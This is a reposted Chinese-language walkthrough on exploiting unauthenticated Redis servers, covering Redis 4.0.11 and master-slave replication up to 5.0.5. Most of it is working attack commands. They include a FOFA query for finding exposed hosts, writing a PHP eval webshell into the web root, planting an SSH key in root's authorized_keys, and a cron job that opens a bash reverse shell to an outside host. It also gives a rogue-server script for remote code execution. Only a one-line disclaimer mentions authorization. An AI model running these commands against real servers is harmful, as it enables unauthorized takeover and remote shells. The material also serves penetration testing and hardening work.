-Redis未授权利用

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-Redis未授权利用

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

图片[1]--Redis未授权利用-安全小天地

0x03 漏洞复现

漏洞环境:redis-4.0.11 

FOFA: app=”redis”

1.通过空口令连接

redis-cli -h x.x.x.x
图片[2]--Redis未授权利用-安全小天地

2.查看设置目录和设置文件


CONFIG GET dir         #设置目录
CONFIG GET dbfilename  #设置文件名
图片[3]--Redis未授权利用-安全小天地

3.利用方式一、写webshell,蚁剑连接成功(知道物理路径且web目录有写权限写webshell)

config set dir /var/www/html/            #数据保存路径,网站根目录(根据实际情况来) 
set xx \"\\n\\n\\n<?php @eval($_POST[\'x\']);?>\\n\\n\\n\"  #数据保存文件名,写入一句话木马 
config set dbfilename shell.php                    #生成木马文件shell.php 
save                                               #保存
图片[4]--Redis未授权利用-安全小天地

4.利用方式二、写ssh-keygen公钥,连接成功(开启22端口且权限够大的情况下写公钥)

config set dir /root/.ssh #切换到密钥路径 
config set dbfilename authorized_keys #写入文件名
set miyao \"\\n\\n\\n你的密钥\\n\\n\\n\" #写入密钥
save #保存
ssh -i id_rse root@IP #连接ssh
图片[5]--Redis未授权利用-安全小天地

5.利用方式三、写计划任务,nc监听得到shell(能够回连且权限够的话)

nc -lvvp 7779 #监听77779端口
set payload \"\\n* * * * * bash -i >& /dev/tcp/x.x.x.x/4444 0>&1\\n\" #设置变量值为反弹shell语句 
config set dir /var/spool/cron/ #设置目录为目标机定时任务目录
config set dbfilename root #设置文件名
save #保存
图片[6]--Redis未授权利用-安全小天地

6.利用方式四、redis主从复制<= 5.0.5(为了减轻 redis 服务器在访问量过大时的负担,可以采用主(master)从(slave)模式。简单说就是一主多从,slave 异步复制 master 数据,master 负责写入数据,slave 负责读出数据。这种攻击的利用方式是攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。和前面几种比,这种要求权限小,成功率更高


https://github.com/n0b0dyCN/redis-rogue-server #下载脚本
python3 redis-rogue-server.py --rhost 受害者IP --lhost 攻击者IP --exp=exp.so
图片[7]--Redis未授权利用-安全小天地
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容